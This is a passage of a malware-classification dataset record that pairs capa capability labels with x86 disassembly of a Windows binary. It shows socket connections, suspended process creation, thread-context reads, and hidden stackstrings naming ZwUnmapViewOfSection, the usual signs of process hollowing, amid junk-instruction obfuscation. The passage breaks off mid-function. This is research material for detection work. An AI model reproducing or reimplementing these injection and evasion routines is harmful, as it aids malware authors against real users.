joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10023020
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push 0xffffffffffffffff
push 0x1018f838
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x101e5aec]
xor eax, esp
mov dword [esp + 0x28], eax
mov eax, dword [0x101e5aec]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov eax, dword [esp + 0x40]
mov ebx, ebx
push eax
lea eax, [esp + 0x18]
push eax
call fcn.10022e70
add esp, 8
mov dword [esp + 0x38], 0
cmp dword [0x101d063c], 0xffffb505
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp dword [0x101d0630], 0xfffff994
cmp dword [esi], 0xffffffff
je 0x100230ea
mov word [esp + 4], 2
cmp dword [0x101d0634], 0xffffbf2d
mov ecx, dword [esp + 0x28]
push ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 8], eax
cmp dword [0x101d0624], 0xfffff991
mov edx, dword [esp + 0x44]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
push edx
pop edx
mov ecx, dword [esi]
push 0x10
lea eax, [esp + 8]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100230ff
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ah, ah
mov dword [esp + 0x38], 0xffffffff
lea ecx, [esp + 0x14]
call fcn.10002070
xor eax, eax
jmp 0x10023115
mov dword [esp + 0x38], 0xffffffff
lea ecx, [esp + 0x14]
call fcn.10002070
mov eax, 1
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.1012e3ba
add esp, 0x38
ret
Function at 0x10024ab0
Capabilities:
Create thread

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
xor ebx, ebx
cmp ebp, ebx
jg 0x10024ac1
pop ebp
xor eax, eax
pop ebx
ret
push esi
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 0x3278]
cmp eax, ebx
je 0x10024b15
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebp, ebp
cmp eax, ebx
jne 0x10024c06
mov esi, dword [edi + 0x3274]
push eax
pop eax
mov eax, dword [edi + 0x3278]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
pop eax
mov dword [edi + 0x3278], ebx
mov ah, ah
push esi
call fcn.1012dedf
add esp, 4
mov al, al
mov dword [edi + 0x3274], ebx
mov ch, ch
push 0x510
call fcn.1012de1c
add esp, 4
mov esi, eax
push ebx
pop ebx
cmp esi, ebx
je 0x10024c06
push 0x510
push ebx
push esi
call fcn.1012ea60
add esp, 0xc
cmp dword [0x101d0630], 0x66b
mov eax, dword [esp + 0x18]
mov edx, esi
sub edx, eax
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
cmp cl, bl
jne 0x10024b50
cmp dword [0x101d0630], 0x66b
mov ecx, dword [esp + 0x20]
mov dword [esi + 0x104], ecx
cmp dword [0x101d0630], 0xfffff994
mov edx, dword [esp + 0x1c]
mov dword [esi + 0x100], edx
cmp dword [0x101d0648], 0xfffffe1b
mov dword [esi + 0x108], ebp
cmp dword [0x101d063c], 0xffffb505
mov dword [edi + 0x3274], esi
nop
call fcn.10044820
mov ebp, eax
mov esi, esi
push ebx
push ebx
push esi
push 0x10023f80
push ebx
push ebx
call fcn.101301c7
add esp, 0x18
mov dword [edi + 0x3278], eax
cmp dword [0x101d0648], 0x1e4
push ebp
call fcn.10044920
add esp, 4
mov cl, cl
cmp dword [edi + 0x3278], ebx
jne 0x10024c0d
mov dword [edi + 0x3278], ebx
push ebx
pop ebx
push esi
call fcn.1012dedf
add esp, 4
mov ebp, ebp
mov dword [edi + 0x3274], ebx
cmp dword [0x101d0648], 0x1e4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x100252b0
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x101e5aec]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x218], 0
push 0x1ff
push 0
lea eax, [ebp - 0x217]
push eax
call fcn.1012ea60
add esp, 0xc
cmp dword [0x101d0688], 0xffffdd69
push 0x200
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push ebx
pop ebx
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x5c
mov byte [ebp - 0x11], 0x44
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x76
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x5c
mov byte [ebp - 9], 0x25
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0
cmp dword [0x101d0688], 0xffffdd69
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1012f577
add esp, 0x10
mov edi, edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1012e3ba
mov esp, ebp
pop ebp
ret

Function at 0x10025890
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x101e5aec]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x102ea690], 0
jne 0x10025965
mov byte [ebp - 0x28], 0x77
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x6e
mov byte [ebp - 0x25], 0x33
mov byte [ebp - 0x24], 0x32
mov byte [ebp - 0x23], 0x75
mov byte [ebp - 0x22], 0x2e
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0
mov dh, dh
mov byte [ebp - 0x1c], 0x4e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x55
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x4f
mov byte [ebp - 0x15], 0x70
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x6e
mov byte [ebp - 0x12], 0x49
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x44
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x6b
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x70
mov byte [ebp - 6], 0
cmp dword [0x101d067c], 0xfffff8f0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x102ea690], eax
cmp dword [0x101d0688], 0xffffdd69
cmp dword [0x102ea690], 0
jne 0x10025972
xor eax, eax
jmp 0x10025977
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1012e3ba
mov esp, ebp
pop ebp
ret
Function at 0x10031500
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x101e5aec]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov ebx, ebx
mov dword [ebp - 0x138], 0x128
cmp dword [0x101d06b8], 0xfffff04a
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp dword [0x101d06a8], 0xffff9940
cmp dword [ebp - 4], 0xffffffff
jne 0x10031547
jmp 0x100315b6
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 8], eax
mov cl, cl
cmp dword [ebp - 8], 0
je 0x1003159c
mov edx, dword [ebp + 8]
cmp edx, dword [ebp - 0x120]
jne 0x10031586
mov eax, dword [ebp - 0x130]
push eax
call fcn.10031500
add esp, 4
cmp dword [0x101d06ac], 0x17a
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 8], eax
nop
jmp 0x1003155c
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.1004ae60
add esp, 4
mov edx, edx
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1012e3ba
mov esp, ebp
pop ebp
ret
Function at 0x10038870
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x101e5aec]
xor eax, ebp
mov dword [ebp - 0x1c], eax
nop
cmp dword [0x101d0704], 0x47d4
mov dword [ebp - 0x48], 0
cmp dword [0x101d06ec], 0x1614
mov dword [ebp - 0x4c], 0
mov bl, bl
mov byte [ebp - 0x44], 0x6e
mov byte [ebp - 0x43], 0x74
mov byte [ebp - 0x42], 0x64
mov byte [ebp - 0x41], 0x6c
mov byte [ebp - 0x40], 0x6c
mov byte [ebp - 0x3f], 0x2e
mov byte [ebp - 0x3e], 0x64
mov byte [ebp - 0x3d], 0x6c
mov byte [ebp - 0x3c], 0x6c
mov byte [ebp - 0x3b], 0
cmp dword [0x101d0710], 0x41ab
mov byte [ebp - 0x38], 0x4e
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x51
mov byte [ebp - 0x35], 0x75
mov byte [ebp - 0x34], 0x65
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x79
mov byte [ebp - 0x31], 0x49
mov byte [ebp - 0x30], 0x6e
mov byte [ebp - 0x2f], 0x66
mov byte [ebp - 0x2e], 0x6f
mov byte [ebp - 0x2d], 0x72
mov byte [ebp - 0x2c], 0x6d
mov byte [ebp - 0x2b], 0x61
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x69
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x50
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x63
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x73
mov byte [ebp - 0x20], 0x73
mov byte [ebp - 0x1f], 0
push ebx
pop ebx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x48], eax
push eax
pop eax
cmp dword [ebp - 0x48], 0
je 0x10038991
cmp dword [0x101d06f4], 0xffffa68d
lea edx, [ebp - 0x50]
push edx
push 0x18
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x48]
mov dword [ebp - 0x54], eax
mov edx, edx
cmp dword [ebp - 0x54], 0
jl 0x10038991
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x4c], edx
mov al, al
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1012e3ba
mov esp, ebp
pop ebp
ret
Function at 0x10039010
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x101e5aec]
xor eax, ebp
mov dword [ebp - 0xc], eax
cmp dword [0x101d06f4], 0xffffa68d
mov dword [ebp - 4], 0
cmp dword [0x101d06f0], 0xffffcfd4
mov dword [ebp - 8], 0
push eax
pop eax
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x64
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x2e
mov byte [ebp - 0x12], 0x64
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0
mov bh, bh
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x1c], eax
mov dh, dh
cmp dword [ebp - 0x1c], 0
je 0x1003911d
mov byte [ebp - 0x34], 0x5a
mov byte [ebp - 0x33], 0x77
mov byte [ebp - 0x32], 0x55
mov byte [ebp - 0x31], 0x6e
mov byte [ebp - 0x30], 0x6d
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x70
mov byte [ebp - 0x2d], 0x56
mov byte [ebp - 0x2c], 0x69
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x77
mov byte [ebp - 0x29], 0x4f
mov byte [ebp - 0x28], 0x66
mov byte [ebp - 0x27], 0x53
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0
cmp dword [0x101d0700], 0xffff8e02
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
cmp dword [0x101d070c], 0x7c44
cmp dword [ebp - 4], 0
je 0x1003911d
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
neg eax
sbb eax, eax
add eax, 1
mov dword [ebp - 8], eax
mov edx, edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1012e3ba
mov esp, ebp
pop ebp
ret
Function at 0x10039130
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov edi, edi
cmp dword [0x101d0704], 0x47d4
mov esi, esi
cmp dword [0x101d0708], 0x5737
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call fcn.1012ea60
add esp, 0xc
cmp dword [0x101d0704], 0x47d4
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
cmp dword [0x101d06fc], 0x4d9
mov dword [ebp - 0x60], 0x44
cmp dword [0x101d0704], 0xffffb82b
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 8], eax
push ebx
pop ebx
cmp dword [ebp - 8], 0
je 0x10039287
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp - 0x18]
mov dword [edx], eax
cmp dword [0x101d06f0], 0xffffcfd4
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x14]
mov dword [ecx], edx
nop
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
mov ebp, ebp
mov edx, dword [ebp + 0xc]
mov dword [edx], 0x10007
mov ebx, ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push eax
pop eax
lea eax, [ebp - 4]
push eax
push 4
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xa4]
add eax, 8
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp + 0x1c]
mov ecx, dword [eax]
mov dword [ebp - 0x80], ecx
cmp dword [0x101d070c], 0xffff83bb
push 0x1c
lea edx, [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x10039270
mov dword [ebp - 0x6c], 0x10000
cmp dword [ebp - 0x6c], 0
je 0x10039263
jmp 0x10039270
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0x70]
mov dword [ebp - 0x80], eax
mov al, al
jmp 0x1003923a
mov ecx, dword [ebp + 0x1c]
mov edx, dword [ebp - 0x80]
sub edx, dword [ecx]
mov eax, dword [ebp + 0x20]
mov dword [eax], edx
cmp dword [0x101d06fc], 0xfffffb26
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x10046bf0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1a0
mov eax, dword [0x101e5aec]
xor eax, esp
mov dword [esp + 0x19c], eax
cmp byte [0x102eaa28], 0
mov dword [esp + 4], edx
je 0x10046c43
mov eax, 0x102eaa28
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x10046c18
cmp dword [0x101d07c4], 0x4159
mov ecx, dword [esp + 0x19c]
xor ecx, esp
call fcn.1012e3ba
add esp, 0x1a0
ret
push ebx
push ebp
mov dword [esp + 0x10], 0x400
mov dword [esp + 0x14], 0x170
mov dword [esp + 0x18], 0x4e
mov dword [esp + 0x1c], 0x60d1
mov dword [esp + 0x20], 0x26d9
mov dword [esp + 0x24], 0x15d01
mov dword [esp + 0x28], 0x1f07
mov dword [esp + 0x2c], 0x120c4
mov dword [esp + 0x30], 0x16aa2
mov dword [esp + 0x34], 0xe18e3
mov dword [esp + 0x38], 0x39fb4
mov dword [esp + 0x3c], 0xc1740
mov dword [esp + 0x40], 0x13583
mov dword [esp + 0x44], 0xea
mov dword [esp + 0x48], 0x25fd
mov dword [esp + 0x4c], 0xb12
mov dword [esp + 0x50], 0x37f
mov dword [esp + 0x54], 0x3ff
mov dword [esp + 0x58], 0x24
mov dword [esp + 0x5c], 7
mov dword [esp + 0x60], 0x9ae
mov dword [esp + 0x64], 0x3e2
mov dword [esp + 0x68], 0x22e6
mov dword [esp + 0x6c], 0x31a
mov dword [esp + 0x70], 0x1ce0
mov dword [esp + 0x74], 0x2443
mov dword [esp + 0x78], 0x168e3
mov dword [esp + 0x7c], 0x5cc5
mov dword [esp + 0x80], 0x13586
mov dword [esp + 0x84], 0x1ef3
mov dword [esp + 0x88], 0x17
mov dword [esp + 0x8c], 0x3cc
mov dword [esp + 0x90], 0x11b
mov dword [esp + 0x94], 0x59
cmp dword [0x101d07a8], 0x5bc0
cmp dword [0x101d07a8], 0x5bc0
cmp dword [0x101d07c0], 0x4593
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
mov dword [esp + 0xc], 0
mov bl, 0x5c
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
add edi, 0x61
mov dl, dl
mov byte [esp + 0xa0], bl
mov byte [esp + 0xa1], bl
mov byte [esp + 0xa2], 0x2e
mov byte [esp + 0xa3], bl
mov byte [esp + 0xa4], 0x25
mov byte [esp + 0xa5], 0x63
mov byte [esp + 0xa6], 0x25
mov byte [esp + 0xa7], 0x64
mov byte [esp + 0xa8], 0
cmp dword [0x101d07ac], 0xfffff26e
mov eax, dword [esp + esi*4 + 0x18]
push eax
push edi
lea ecx, [esp + 0xa8]
push ecx
lea edx, [esp + 0xb8]
push edx
call fcn.1012f577
add esp, 0x10
cmp dword [0x101d07c0], 0x4593
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
lea eax, [esp + 0xc4]
push eax
call ebp
cmp dword [0x101d07a8], 0xffffa43f
cmp eax, 0xffffffff
jne 0x10046e8e
add esi, 1
cmp esi, 0x22
jb 0x10046da0
mov eax, dword [esp + 0x10]
add eax, 1
cmp eax, 0x19
mov dword [esp + 0x10], eax
jl 0x10046d97
mov ecx, dword [esp + 0x14]
mov byte [ecx], 0
cmp dword [0x101d07b4], 0xfffff887
mov ecx, dword [esp + 0x1ac]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1012e3ba
add esp, 0x1a0
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x101d07b8], 0x2b02
xor eax, eax
jmp 0x10046eb0
mov cl, byte [esp + eax + 0xac]
mov byte [eax + 0x102eaa28], cl
add eax, 1
test cl, cl
jne 0x10046eb0
cmp dword [0x101d07c0], 0x4593
mov edx, dword [esp + 0x14]
mov eax, 0x102eaa28
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x10046ee0
cmp dword [0x101d07b8], 0xffffd4fd
jmp 0x10046e75
Function at 0x10047130
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x508
mov eax, dword [0x101e5aec]
xor eax, esp
mov dword [esp + 0x504], eax
mov ecx, dword [esp + 0x50c]
mov ebx, ebx
mov eax, dword [ecx + 4]
cmp dword [0x101d07a8], 0x5bc0
cmp eax, 1
jne 0x1004716a
mov byte [esp + 0x104], al
mov al, al
jmp 0x100471e4
cmp eax, 2
jne 0x1004717a
mov byte [esp + 0x104], al
mov ebx, ebx
jmp 0x100471e4
cmp eax, 3
jne 0x10047192
mov byte [esp + 0x104], al
cmp dword [0x101d07b4], 0x778
jmp 0x100471e4
cmp eax, 5
jne 0x100471aa
mov byte [esp + 0x104], al
cmp dword [0x101d07ac], 0xd91
jmp 0x100471e4
cmp eax, 6
jne 0x100471c2
mov byte [esp + 0x104], al
cmp dword [0x101d07c4], 0xffffbea6
jmp 0x100471e4
cmp eax, 7
jne 0x100471d2
mov byte [esp + 0x104], al
xchg ebx, eax
xchg ebx, eax
jmp 0x100471e4
cmp eax, 8
jne 0x100472b4
mov byte [esp + 0x104], al
mov edi, edi
push esi
push edi
mov edi, dword [esp + 0x518]
lea eax, [edi - 8]
push eax
add ecx, 8
push ecx
lea ecx, [esp + 0x115]
push ecx
call fcn.1012fbf0
add esp, 0xc
mov cl, cl
cmp dword [0x101d07b0], 0xffffe330
lea edx, [esp + 0xc]
call fcn.10046bf0
mov ebp, ebp
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov cl, cl
cmp esi, 0xffffffff
je 0x1004729b
mov dword [esp + 8], 0
cmp dword [0x101d07a8], 0xffffa43f
push 0
lea eax, [esp + 0xc]
push eax
add edi, 0xfffffff9
push edi
lea ecx, [esp + 0x118]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
nop
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dl, dl
cmp dword [esp + 8], 0
jne 0x1004729b
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0x504]
xor ecx, esp
call fcn.1012e3ba
add esp, 0x508
ret
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x504]
xor ecx, esp
call fcn.1012e3ba
add esp, 0x508
ret
mov ecx, dword [esp + 0x504]
xor ecx, esp
xor eax, eax
call fcn.1012e3ba
add esp, 0x508
ret
Function at 0x10047c90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10047ca9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10047ce4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x10047ce0
lea ebx, [ebx]
cmp esi, eax
jae 0x10047ce4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x10047cd0
cmp esi, eax
jb 0x10047cea
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x10049350
Capabilities:
Create thread

Disassembly:
sub esp, 0x14
push esi
push edi
mov al, al
mov dword [esp + 8], eax
cmp dword [0x101d07e4], 0xffffcef6
mov dword [esp + 0xc], ecx
mov ebp, ebp
mov dword [esp + 0x10], edx
cmp dword [0x101d07d0], 0x6f97
mov eax, dword [esp + 0x20]
mov dword [esp + 0x14], eax
mov ecx, ecx
mov dword [esp + 0x18], 0
cmp dword [0x101d07ec], 0x7323
call fcn.10044820
mov edi, eax
cmp dword [0x101d07e8], 0x5e11
push 0
push 0
lea ecx, [esp + 0x10]
push ecx
push 0x10048b50
push 0
push 0
call fcn.101301c7
add esp, 0x18
mov esi, eax
mov ch, ch
push edi
call fcn.10044920
add esp, 4
nop
test esi, esi
jne 0x100493da
pop edi
xor eax, eax
pop esi
add esp, 0x14
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [0x101d07dc], 0x2203
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov bh, bh
mov eax, dword [esp + 0x18]
pop edi
pop esi
add esp, 0x14
ret

Function at 0x10049e50
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x228
mov eax, dword [0x101e5aec]
xor eax, esp
mov dword [esp + 0x224], eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, edi
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov ch, ch
cmp esi, 0xffffffff
jne 0x10049e96
xor eax, eax
pop esi
mov ecx, dword [esp + 0x224]
xor ecx, esp
call fcn.1012e3ba
add esp, 0x228
ret
push edi
xor edi, edi
nop
cmp dword [0x101d0808], 0x5206
push 0x224
lea eax, [esp + 0xc]
push edi
push eax
call fcn.1012ea60
add esp, 0xc
cmp dword [0x101d0804], 0xffffe50a
mov dword [esp + 8], 0x224
mov ebx, ebx
lea ecx, [esp + 8]
push ecx
push esi
call sub.KERNEL32.dll_Module32First
mov ecx, ecx
test eax, eax
je 0x10049f14
push ebx
mov ebx, dword [esp + 0x238]
cmp ebx, dword [esp + 0x28]
je 0x10049f05
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Module32Next
cmp dword [0x101d0810], 0xffff82b7
test eax, eax
jne 0x10049ee4
jmp 0x10049f13
mov edi, dword [esp + 0x24]
cmp dword [0x101d0814], 0xffffa774
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
pop eax
mov ecx, dword [esp + 0x22c]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.1012e3ba
add esp, 0x228
ret
Function at 0x10050a60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x18
mov edx, dword [esp + 0x2c]
push ebp
push esi
push edi
mov edi, dword [esp + 0x34]
mov ecx, edi
add ecx, dword [esp + 0x3c]
mov eax, edx
adc eax, dword [esp + 0x40]
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x40], eax
mov dh, dh
mov esi, dword [esp + 0x54]
cmp eax, esi
jb 0x10050aa2
ja 0x10050a94
cmp ecx, dword [esp + 0x50]
jbe 0x10050aa2
mov eax, dword [esp + 0x50]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], esi
mov edi, edi
mov ebp, dword [esp + 0x30]
cmp ebp, edx
jb 0x10050c1b
mov esi, dword [esp + 0x2c]
ja 0x10050abc
cmp esi, edi
jb 0x10050c1b
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x3c]
cdq
sub ecx, eax
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x40]
sbb eax, edx
cmp ebp, eax
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], eax
ja 0x10050c1b
jb 0x10050aef
cmp esi, ecx
jae 0x10050c1b
push ebx
mov ebx, dword [esp + 0x40]
mov edi, dword [esp + 0x44]
sub ebx, esi
sbb edi, ebp
mov dword [esp + 0x14], edi
cmp dword [0x101d0844], 0xffffcf60
mov eax, dword [esp + 0x50]
cmp edi, eax
jb 0x10050b2e
ja 0x10050b1a
cmp ebx, dword [esp + 0x4c]
jbe 0x10050b2e
mov ebx, dword [esp + 0x4c]
mov dword [esp + 0x14], eax
cmp dword [0x101d0840], 0x4466
mov edi, eax
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x2c]
push 0
push ebx
push ecx
push ebp
push esi
push edx
call fcn.10071fc0
add esp, 0x18
test eax, eax
je 0x10050bea
mov edi, dword [esp + 0x48]
mov eax, ebx
sub eax, dword [esp + 0x5c]
add eax, edi
mov dword [esp + 0x38], eax
mov esi, esi
cmp dword [0x101d0844], 0xffffcf60
cmp edi, eax
jae 0x10050be6
lea ecx, [ecx]
mov eax, dword [esp + 0x68]
mov ecx, dword [esp + 0x5c]
mov edx, dword [esp + 0x64]
push eax
mov eax, dword [esp + 0x64]
push ecx
push edx
push eax
push edi
call dword [esp + 0x90]
add esp, 0x14
cmp eax, 1
jne 0x10050bd8
push edx
pop edx
mov ecx, dword [esp + 0x74]
